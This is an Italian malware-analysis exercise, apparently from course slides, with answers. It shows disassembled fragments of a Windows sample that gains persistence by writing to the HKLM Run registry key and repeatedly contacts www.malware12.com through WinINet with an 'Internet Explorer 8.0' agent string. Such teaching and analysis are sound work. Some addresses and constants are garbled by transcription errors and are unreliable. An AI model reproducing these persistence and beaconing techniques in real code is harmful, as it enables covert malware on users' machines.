Windows malware

ESERCIZIO

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite

Identificare il client software utilizzato dal malware per la connessione ad Internet

Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

```
0040286F
           push
                                    ; samDesired
00402871
           push
                                     ulOptions
                   eax
00402872
           push
                   offset SubKey
                                   : "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
                   HKEY LOCAL MACHINE; hKey
00402877
           push
0040287C
          call
                   esi; RegOpenKeyExW
0040287E
          test
                   eax, eax
00402880
                   short loc 4028C5
           inz
00402882
00402882 loc 402882:
                   ecx, [esp+424h+Data]
00402882
           lea
00402886
                                   ; lpString
           push
                   ecx
00402887
                   bl. 1
           mov
00402889
          call
                   ds:lstrlenW
0040288F
           lea
                   edx, [eax+eax+2]
00402893
                   edx
                                    : cbData
          push
00402894
                   edx, [esp+428h+hKey]
           mov
                   eax, [esp+428h+Data]
00402898
          lea
0040289C
                                    ; lpData
           push
                   eax
0040289D
           push
                                     dwType
                                    : Reserved
0040289F
           push
004028A1
           lea
                   ecx, [esp+434h+ValueName]
004028A8
           push
                                   ; lpValueName
                   ecx
004028A9
           push
                   edx
                                    ; hKey
                   ds:RegSetValueExW
004028AA
           call
```

```
.text:00401150 ; !!!!!!!!!!!!
.text:00401150
.text:88481158
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress
                                                         : DATA XREF: sub 401040+ECTo
                                proc near
.text:00401150
                                push
                                        esi
.text:00401151
                                        edi
                                push
.text:00401152
                                push
                                                           dwFlags
.text:00401154
                                push
                                                           1pszProxyBypass
.text:00401156
                                push
                                                         ; lpszProxy
                                                           dwAccessType
.text:00401158
                                push
.text:8848115A
                                push
                                        offset szágent
                                                         ; "Internet Explorer 8.0"
.text:0040115F
                                call
                                        ds:InternetOpenA
                                        edi, ds:InternetOpenUrlA
.text:00401165
                                mov
.text:0040116B
                                        esi, eax
                                mov
.text:0040116D
.text:0040116D loc 40116D:
                                                           CODE XREF: StartAddress+301i
-text:8848116D
                                                           dwContext
                                push
-text:0040116F
                                push
                                        80000000h
                                                           dwFlags
.text:00401174
                                push
                                                           dwHeadersLength
.text:00401176
                                                         ; lpszHeaders
                                push
                                                           "http://www.malware12com
.text:00401178
                                push
                                        offset szUrl
.text:0040117D
                                push
                                        esi
                                                         : hInternet
.text:0040117E
                                        edi : InternetOpenUrlA
                                call
                                        short loc 40116D
.text:00401180
                                imp
.text:00401180 StartAddress
                                endp
.text:00401180
```

PERSISTENZA MALWARE

Il malware ottiene la persistenza inserendo un nuovo valore all'interno della chiave di registro Software\\Microsoft\\Windows\\CurrentVersion \\Run

Utilizza le funzioni:

RegOpenKey: che permette di aprire la chiave selezionata. I parametri sono passati sullo stack tramite le istruzioni push che precedono la chiamata di funzione.

RegSetValueEx: che permette al malware di inserire un nuovo valore all'interno della chiave di registro appena aperta

```
0040286F
                                       samDesired
           push
00402871
                                        "Software\\Microsoft\\Windows\\CurrentVersion\\Run'
00402872
                    offset SubKey
           push
00402877
0040287C
           call
                   esi : RegOpenKevExW
0040287E
           test
                    eax, eax
                    short loc_4028C5
00402880
           inz
00402882
00402882 loc 402882:
00402882
           lea
                   ecx, [esp+424h+Data]
00402886
           push
                    ecx
                                     ; lpString
                    bl. 1
00402887
           mov
00402889
           call
                    ds:lstrlenW
0040288F
                   edx, [eax+eax+2]
00402893
                                      cbData
           push
00402894
                         [esp+428h+hKey]
00402898
                         [esp+428h+Data]
0040289C
           push
0040289D
           push
                                       dwType
0040289F
           push
                                       Reserved
004028A1
           lea
004028A8
                                       lpValueName
           push
004028A9
           pusii
           call
                   ds:RegSetValueExW
004028AA
```

CLIENT UTILIZZATO

Il client utilizzato dal malware per connettersi ad internet è Internet Explorer 8.0

```
text:00401150
text:00401150
text:00401150
             ; DWORD __stdcall StartAddress(LPVOID)
text:00401150
                                                    : DATA XREF: sub 401040+ECTo
text:00401150 StartAddress
                             proc near
text:00401150
                             push
                                    esi
text:00401151
                             push
                                    edi
text:00401152
                                                    ; dwFlags
                             push
text:00401154
                             push
                                                    ; lpszProxyBypass
text:00401156
                             push
                                                    : lpszProxu
                                                     dwAccessType
text:00401158
                             push
                                                     "Internet Explorer 8.0"
text:0040115A
                             push
                                    offset szAgent
                                    ds:InternetOpenA
text:0040115F
                             call
                                    edi, ds:InternetOpenUrlA
text:00401165
                             MOV
text:0040116B
                                    esi, eax
                             MOV
text:8848116D
text:0040116D loc 40116D:
                                                     CODE XREF: StartAddress+301i
text:0040116D
                             push
                                                     dwContext
text:0040116F
                                    888888888h
                                                     dwFlags
                             push
text:00401174
                             push
                                                     dwHeadersLength
                                                     1pszHeaders
text:00401176
                             push
                                                     "http://www.malware12com
text:00401178
                             push
                                    offset szUrl
text:0040117D
                                    esi
                                                    ; hInternet
                             push
text:0040117E
                             call
                                    edi : InternetOpenUrlA
text:00401180
                             imp
                                    short loc_40116D
.text:00401180 StartAddress
                             endp
text:00401180
tovt - 88681198 -
```

IDENTIFICAZIONE URL

L'URL sul quale il malware tenta di connettersi è www.malware12.com

```
text:00401150
text:00401150
text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
                                                   : DATA XREF: sub 401040+ECTo
text:00401150 StartAddress
                            proc near
text:00401150
                                    esi
                            push
text:00401151
                                    edi
                            push
text:00401152
                                                   ; dwFlags
                            push
                                                   ; lpszProxyBypass
text:00401154
                            push
text:00401156
                            push
                                                    : lpszProxu
                                                    dwAccessType
text:00401158
                            push
                                                    "Internet Explorer 8.0"
text:0040115A
                            push
                                    offset szAgent
                                    ds:InternetOpenA
text:0040115F
                            call
                                    edi, ds:InternetOpenUrlA
text:00401165
                            MOV
text:0040116B
                                    esi, eax
                            mov
text:8848116D
text:0040116D loc 40116D:
                                                    CODE XREF: StartAddress+301i
text:0040116D
                            push
                                                     dwContext
text:0040116F
                                    888888888h
                                                    dwFlags
                            push
text:00401174
                            push
                                                    dwHeadersLength
                                                    1pszHeaders
text:00401176
                            push
                                                    "http://www.malware12com
text:00401178
                            push
                                    offset szUrl
text:0040117D
                                    esi
                                                   ; hInternet
                            push
text:0040117E
                            call
                                    edi : InternetOpenUrlA
text:00401180
                            imp
                                    short loc_40116D
.text:00401180 StartAddress
                            endp
text:00401180
tovt - 88681108 -
```